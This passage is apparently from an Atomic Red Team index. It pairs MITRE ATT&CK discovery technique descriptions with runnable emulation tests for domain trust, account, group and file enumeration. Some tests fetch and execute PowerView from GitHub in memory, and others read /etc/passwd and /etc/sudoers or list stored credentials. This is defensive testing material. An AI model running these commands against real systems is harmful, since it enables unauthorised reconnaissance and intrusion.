        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually.

'
      - description: 'Requires the Active Directory module for powershell to be installed.

'
        prereq_command: 'if(Get-Module -ListAvailable -Name ActiveDirectory) {exit
          0} else {exit 1}

'
        get_prereq_command: 'Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"

'
      executor:
        name: powershell
        elevation_required: false
        command: 'get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth
          -eq $TRUE}

'
    - name: Adfind - Query Active Directory Groups
      auto_generated_guid: 48ddc687-82af-40b7-8472-ff1e742e8274
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups
        reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
      supported_platforms:
      - windows
      input_arguments:
        adfind_path:
          description: Path to the AdFind executable
          type: Path
          default: PathToAtomicsFolder\T1087.002\src\AdFind.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path})

'
        prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe" -OutFile #{adfind_path}
      executor:
        command: "#{adfind_path} -f (objectcategory=group)\n"
        name: command_prompt
  T1482:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1482
        url: https://attack.mitre.org/techniques/T1482
      - source_name: Microsoft Trusts
        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)
        description: Microsoft. (2009, October 7). Trust Technologies. Retrieved February
          14, 2019.
      - source_name: AdSecurity Forging Trust Tickets
        url: https://adsecurity.org/?p=1588
        description: Metcalf, S. (2015, July 15). It’s All About Trust – Forging Kerberos
          Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved
          February 14, 2019.
      - source_name: Harmj0y Domain Trusts
        url: http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
        description: Schroeder, W. (2017, October 30). A Guide to Attacking Domain
          Trusts. Retrieved February 14, 2019.
      - source_name: Microsoft Operation Wilysupply
        url: https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/
        description: Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation
          WilySupply software supply chain cyberattack. Retrieved February 14, 2019.
      - source_name: Microsoft GetAllTrustRelationships
        url: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships
        description: Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved
          February 14, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Domain Trust Discovery
      description: 'Adversaries may attempt to gather information on domain trust
        relationships that may be used to identify lateral movement opportunities
        in Windows multi-domain/forest environments. Domain trusts provide a mechanism
        for a domain to allow access to resources based on the authentication procedures
        of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users
        of the trusted domain to access resources in the trusting domain. The information
        discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005),
        [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation:
        AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain
        trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call,
        .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility
        [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries
        to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)'
      id: attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2020-09-17T18:26:17.858Z'
      created: '2019-02-14T16:15:05.974Z'
      x_mitre_version: '1.1'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      - 'Script: Script Execution'
      x_mitre_contributors:
      - Dave Westgard
      - Elia Florio, Microsoft
      - Mnemonic
      - RedHuntLabs, @redhuntlabs
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: false
      identifier: T1482
    atomic_tests:
    - name: Windows - Discover domain trusts with dsquery
      auto_generated_guid: 4700a710-c821-4e17-a3ec-9e4c81d6845f
      description: |
        Uses the dsquery command to discover domain trusts.
        Requires the installation of dsquery via Windows RSAT or the Windows Server AD DS role.
      supported_platforms:
      - windows
      executor:
        command: 'dsquery * -filter "(objectClass=trustedDomain)" -attr *

'
        name: command_prompt
    - name: Windows - Discover domain trusts with nltest
      auto_generated_guid: 2e22641d-0498-48d2-b9ff-c71e496ccdbe
      description: |
        Uses the nltest command to discover domain trusts.
        Requires the installation of nltest via Windows RSAT or the Windows Server AD DS role.
        This technique has been used by the Trickbot malware family.
      supported_platforms:
      - windows
      dependencies:
      - description: 'nltest.exe from RSAT must be present on disk

'
        prereq_command: 'WHERE nltest.exe >NUL 2>&1

'
        get_prereq_command: 'echo Sorry RSAT must be installed manually

'
      executor:
        command: 'nltest /domain_trusts

'
        name: command_prompt
    - name: Powershell enumerate domains and forests
      auto_generated_guid: c58fbc62-8a62-489e-8f2d-3565d7d96f30
      description: |
        Use powershell to enumerate AD information.
        Requires the installation of PowerShell AD admin cmdlets via Windows RSAT or the Windows Server AD DS role.
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'PowerView PowerShell script must exist on disk

'
        prereq_command: 'if (Test-Path $env:TEMP\PowerView.ps1) {exit 0} else {exit
          1}

'
        get_prereq_command: 'Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1"
          -OutFile "$env:TEMP\PowerView.ps1"

'
      - description: 'RSAT PowerShell AD admin cmdlets must be installed

'
        prereq_command: 'if ((Get-Command "Get-ADDomain" -ErrorAction Ignore) -And
          (Get-Command "Get-ADGroupMember" -ErrorAction Ignore)) { exit 0 } else {
          exit 1 }

'
        get_prereq_command: 'Write-Host "Sorry RSAT must be installed manually"

'
      executor:
        command: |
          Import-Module "$env:TEMP\PowerView.ps1"
          Get-NetDomainTrust
          Get-NetForestTrust
          Get-ADDomain
          Get-ADGroupMember Administrators -Recursive
        name: powershell
    - name: Adfind - Enumerate Active Directory OUs
      auto_generated_guid: d1c73b96-ab87-4031-bad8-0e1b3b8bf3ec
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory OUs
        reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
      supported_platforms:
      - windows
      input_arguments:
        adfind_path:
          description: Path to the AdFind executable
          type: Path
          default: PathToAtomicsFolder\T1087.002\src\AdFind.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path})

'
        prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe"
          -OutFile #{adfind_path}

'
      executor:
        command: "#{adfind_path} -f (objectcategory=organizationalUnit)\n"
        name: command_prompt
    - name: Adfind - Enumerate Active Directory Trusts
      auto_generated_guid: 15fe436d-e771-4ff3-b655-2dca9ba52834
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Trusts
        reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
      supported_platforms:
      - windows
      input_arguments:
        adfind_path:
          description: Path to the AdFind executable
          type: Path
          default: PathToAtomicsFolder\T1087.002\src\AdFind.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path})

'
        prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe"
          -OutFile #{adfind_path}

'
      executor:
        command: "#{adfind_path} -gcb -sc trustdmp\n"
        name: command_prompt
    - name: Get-DomainTrust with PowerView
      auto_generated_guid: f974894c-5991-4b19-aaf5-7cc2fe298c5d
      description: 'Utilizing PowerView, run Get-DomainTrust to identify domain trusts.
        Upon execution, progress and info about trusts within the domain being scanned
        will be displayed.

'
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainTrust -Verbose
        name: powershell
    - name: Get-ForestTrust with PowerView
      auto_generated_guid: 58ed10e8-0738-4651-8408-3a3e9a526279
      description: 'Utilizing PowerView, run Get-ForestTrust to identify forest trusts.
        Upon execution, progress and info about forest trusts within the domain being
        scanned will be displayed.

'
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-ForestTrust -Verbose
        name: powershell
  T1087.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1087.003
        url: https://attack.mitre.org/techniques/T1087/003
      - source_name: Microsoft Exchange Address Lists
        url: https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019
        description: Microsoft. (2020, February 7). Address lists in Exchange Server.
          Retrieved March 26, 2020.
      - source_name: Microsoft getglobaladdresslist
        url: https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist
        description: Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6,
          2019.
      - description: Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper.
          Retrieved October 6, 2019.
        url: https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/
        source_name: Black Hills Attacking Exchange MailSniper, 2016
      - source_name: Google Workspace Global Access List
        url: https://support.google.com/a/answer/166870?hl=en
        description: Google. (n.d.). Retrieved March 16, 2021.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Email Account
      description: |-
        Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)

        In on-premises Exchange and Exchange Online, the<code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)

        In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)
      id: attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-03-31T13:10:46.302Z'
      created: '2020-02-21T21:08:33.237Z'
      x_mitre_data_sources:
      - 'User Account: User Account Metadata'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Office 365
      - Google Workspace
    atomic_tests: []
  T1083:
    technique:
      created: '2017-05-31T21:31:04.710Z'
      modified: '2020-09-16T16:02:16.770Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1083
        url: https://attack.mitre.org/techniques/T1083
      - external_id: CAPEC-127
        source_name: capec
        url: https://capec.mitre.org/data/definitions/127.html
      - external_id: CAPEC-497
        source_name: capec
        url: https://capec.mitre.org/data/definitions/497.html
      - url: http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
        description: Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers.
          Retrieved February 2, 2016.
        source_name: Windows Commands JPCERT
      description: |-
        Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

        Many command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).
      name: File and Directory Discovery
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_system_requirements:
      - Some folders may require Administrator, SYSTEM or specific user depending
        on permission levels and access controls
      identifier: T1083
    atomic_tests:
    - name: File and Directory Discovery (cmd.exe)
      auto_generated_guid: 0e36303b-6762-4500-b003-127743b80ba6
      description: |
        Find or discover files on the file system.  Upon execution, the file "download" will be placed in the temporary folder and contain the output of
        all of the data discovery commands.
      supported_platforms:
      - windows
      executor:
        command: |
          dir /s c:\ >> %temp%\download
          dir /s "c:\Documents and Settings" >> %temp%\download
          dir /s "c:\Program Files\" >> %temp%\download
          dir "%systemdrive%\Users\*.*" >> %temp%\download
          dir "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*" >> %temp%\download
          dir "%userprofile%\Desktop\*.*" >> %temp%\download
          tree /F >> %temp%\download
        name: command_prompt
    - name: File and Directory Discovery (PowerShell)
      auto_generated_guid: 2158908e-b7ef-4c21-8a83-3ce4dd05a924
      description: 'Find or discover files on the file system. Upon execution, file
        and folder information will be displayed.

'
      supported_platforms:
      - windows
      executor:
        command: |
          ls -recurse
          get-childitem -recurse
          gci -recurse
        name: powershell
    - name: Nix File and Directory Discovery
      auto_generated_guid: ffc8b249-372a-4b74-adcd-e4c0430842de
      description: |
        Find or discover files on the file system

        References:

        http://osxdaily.com/2013/01/29/list-all-files-subdirectory-contents-recursively/

        https://perishablepress.com/list-files-folders-recursively-terminal/
      supported_platforms:
      - macos
      - linux
      input_arguments:
        output_file:
          description: Output file used to store the results.
          type: Path
          default: "/tmp/T1083.txt"
      executor:
        command: |
          ls -a >> #{output_file}
          if [ -d /Library/Preferences/ ]; then ls -la /Library/Preferences/ > #{output_file}; fi;
          file */* *>> #{output_file}
          cat #{output_file} 2>/dev/null
          find . -type f
          ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
          locate *
          which sh
        cleanup_command: 'rm #{output_file}

'
        name: sh
    - name: Nix File and Directory Discovery 2
      auto_generated_guid: 13c5e1ae-605b-46c4-a79f-db28c77ff24e
      description: 'Find or discover files on the file system

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        output_file:
          description: Output file used to store the results.
          type: Path
          default: "/tmp/T1083.txt"
      executor:
        command: |
          cd $HOME && find . -print | sed -e 's;[^/]*/;|__;g;s;__|; |;g' > #{output_file}
          if [ -f /etc/mtab ]; then cat /etc/mtab >> #{output_file}; fi;
          find . -type f -iname *.pdf >> #{output_file}
          cat #{output_file}
          find . -type f -name ".*"
        cleanup_command: 'rm #{output_file}'
        name: sh
  T1016.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1016.001
        url: https://attack.mitre.org/techniques/T1016/001
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Internet Connection Discovery
      description: |-
        Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites.

        Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.
      id: attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-03-25T17:03:26.632Z'
      created: '2021-03-17T15:28:10.689Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to check Internet connectivity.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
    atomic_tests: []
  T1087.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1087.001
        url: https://attack.mitre.org/techniques/T1087/001
      - source_name: Elastic - Koadiac Detection with EQL
        url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql
        description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling:
          Building detections against Koadic using EQL. Retrieved November 30, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Local Account
      description: |-
        Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.

        Commands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code>on macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file.
      id: attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-04-13T21:39:08.728Z'
      created: '2020-02-21T21:07:55.393Z'
      x_mitre_contributors:
      - Daniel Stepanic, Elastic
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Access'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        Monitor for processes that can be used to enumerate user accounts, such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1087.001
    atomic_tests:
    - name: Enumerate all accounts (Local)
      auto_generated_guid: f8aab3dd-5990-4bf8-b8ab-2226c951696f
      description: 'Enumerate all accounts by copying /etc/passwd to another file

'
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: Path
          default: "/tmp/T1087.001.txt"
      executor:
        command: |
          cat /etc/passwd > #{output_file}
          cat #{output_file}
        cleanup_command: 'rm -f #{output_file}

'
        name: sh
    - name: View sudoers access
      auto_generated_guid: fed9be70-0186-4bde-9f8a-20945f9370c2
      description: "(requires root)\n"
      supported_platforms:
      - linux
      - macos
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: Path
          default: "/tmp/T1087.001.txt"
      executor:
        command: |
          sudo cat /etc/sudoers > #{output_file}
          cat #{output_file}
        cleanup_command: 'rm -f #{output_file}

'
        name: sh
        elevation_required: true
    - name: View accounts with UID 0
      auto_generated_guid: c955a599-3653-4fe5-b631-f11c00eb0397
      description: 'View accounts with UID 0

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: Path
          default: "/tmp/T1087.001.txt"
      executor:
        command: |
          grep 'x:0:' /etc/passwd > #{output_file}
          cat #{output_file} 2>/dev/null
        cleanup_command: 'rm -f #{output_file} 2>/dev/null

'
        name: sh
    - name: List opened files by user
      auto_generated_guid: 7e46c7a5-0142-45be-a858-1a3ecb4fd3cb
      description: 'List opened files by user

'
      supported_platforms:
      - linux
      - macos
      executor:
        command: 'username=$(id -u -n) && lsof -u $username

'
        name: sh
    - name: Show if a user account has ever logged in remotely
      auto_generated_guid: 0f0b6a29-08c3-44ad-a30b-47fd996b2110
      description: 'Show if a user account has ever logged in remotely

'
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: Path
          default: "/tmp/T1087.001.txt"
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if lastlog command exists on the machine

'
        prereq_command: 'if [ -x "$(command -v lastlog)" ]; then exit 0; else exit
          1; fi

'
        get_prereq_command: 'sudo apt-get install login; exit 1;

'
      executor:
        command: |
          lastlog > #{output_file}
          cat #{output_file}
        cleanup_command: 'rm -f #{output_file}

'
        name: sh
    - name: Enumerate users and groups
      auto_generated_guid: e6f36545-dc1e-47f0-9f48-7f730f54a02e
      description: 'Utilize groups and id to enumerate users and groups

'
      supported_platforms:
      - linux
      - macos
      executor:
        command: |
          groups
          id
        name: sh
    - name: Enumerate users and groups
      auto_generated_guid: 319e9f6c-7a9e-432e-8c62-9385c803b6f2
      description: 'Utilize local utilities to enumerate users and groups

'
      supported_platforms:
      - macos
      executor:
        command: |
          dscl . list /Groups
          dscl . list /Users
          dscl . list /Users | grep -v '_'
          dscacheutil -q group
          dscacheutil -q user
        name: sh
    - name: Enumerate all accounts on Windows (Local)
      auto_generated_guid: 80887bec-5a9b-4efc-a81d-f83eb2eb32ab
      description: |
        Enumerate all accounts
        Upon execution, multiple enumeration commands will be run and their output displayed in the PowerShell session
      supported_platforms:
      - windows
      executor:
        command: |
          net user
          dir c:\Users\
          cmdkey.exe /list
          net localgroup "Users"
          net localgroup
        name: command_prompt
    - name: Enumerate all accounts via PowerShell (Local)
      auto_generated_guid: ae4b6361-b5f8-46cb-a3f9-9cf108ccfe7b
      description: 'Enumerate all accounts via PowerShell. Upon execution, lots of
        user account and group information will be displayed.

'
      supported_platforms:
      - windows
      executor:
        command: |
          net user
          get-localuser
          get-localgroupmember -group Users
          cmdkey.exe /list
          ls C:/Users
          get-childitem C:\Users\
          dir C:\Users\
          get-localgroup
          net localgroup
        name: powershell
    - name: Enumerate logged on users via CMD (Local)
      auto_generated_guid: a138085e-bfe5-46ba-a242-74a6fb884af3
      description: 'Enumerate logged on users. Upon execution, logged on users will
        be displayed.

'
      supported_platforms:
      - windows
      executor:
        command: 'query user

'
        name: command_prompt
  T1069.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1069.001
        url: https://attack.mitre.org/techniques/T1069/001
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Local Groups
      description: |-
        Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

        Commands such as <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscl . -list /Groups</code> on macOS, and <code>groups</code> on Linux can list local groups.
      id: attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2020-03-26T17:48:27.871Z'
      created: '2020-03-12T19:29:21.013Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1069.001
    atomic_tests:
    - name: Permission Groups Discovery (Local)
      auto_generated_guid: 952931a4-af0b-4335-bbbe-73c8c5b327ae
      description: 'Permission Groups Discovery

'
      supported_platforms:
      - macos
      - linux
      executor:
        command: |
          if [ -x "$(command -v dscacheutil)" ]; then dscacheutil -q group; else echo "dscacheutil is missing from the machine. skipping..."; fi;
          if [ -x "$(command -v dscl)" ]; then dscl . -list /Groups; else echo "dscl is missing from the machine. skipping..."; fi;
          if [ -x "$(command -v groups)" ]; then groups; else echo "groups is missing from the machine. skipping..."; fi;
          if [ -x "$(command -v id)" ]; then id; else echo "id is missing from the machine. skipping..."; fi;
          if [ -x "$(command -v getent)" ]; then getent group; else echo "getent is missing from the machine. skipping..."; fi;
          cat /etc/group
        name: sh
    - name: Basic Permission Groups Discovery Windows (Local)
      auto_generated_guid: 1f454dd6-e134-44df-bebb-67de70fb6cd8
      description: |
        Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
        information will be displayed.
      supported_platforms:
      - windows
      executor:
        command: |
          net localgroup
          net localgroup "Administrators"
        name: command_prompt
    - name: Permission Groups Discovery PowerShell (Local)
      auto_generated_guid: a580462d-2c19-4bc7-8b9a-57a41b7d3ba4
      description: |
        Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
        information will be displayed.
      supported_platforms:
      - windows
      executor:
        command: |
          get-localgroup
          Get-LocalGroupMember -Name "Administrators"
        name: powershell
    - name: SharpHound3 - LocalAdmin
      auto_generated_guid: e03ada14-0980-4107-aff1-7783b2b59bb1
      description: 'This module runs the Windows executable of SharpHound in order
        to remotely list members of the local Administrators group (SAMR)

'
      supported_platforms:
      - windows
      input_arguments:
        domain:
          description: FQDN of the targeted domain
          type: string
          default: "$env:UserDnsDomain"
        sharphound_path:
          description: SharpHound Windows executable
          type: path
          default: "$env:TEMP\\SharpHound.exe"
        output_path:
          description: Output for SharpHound
          type: path
          default: "$env:TEMP\\SharpHound\\"
      dependency_executor_name: powershell
      dependencies:
      - description: |
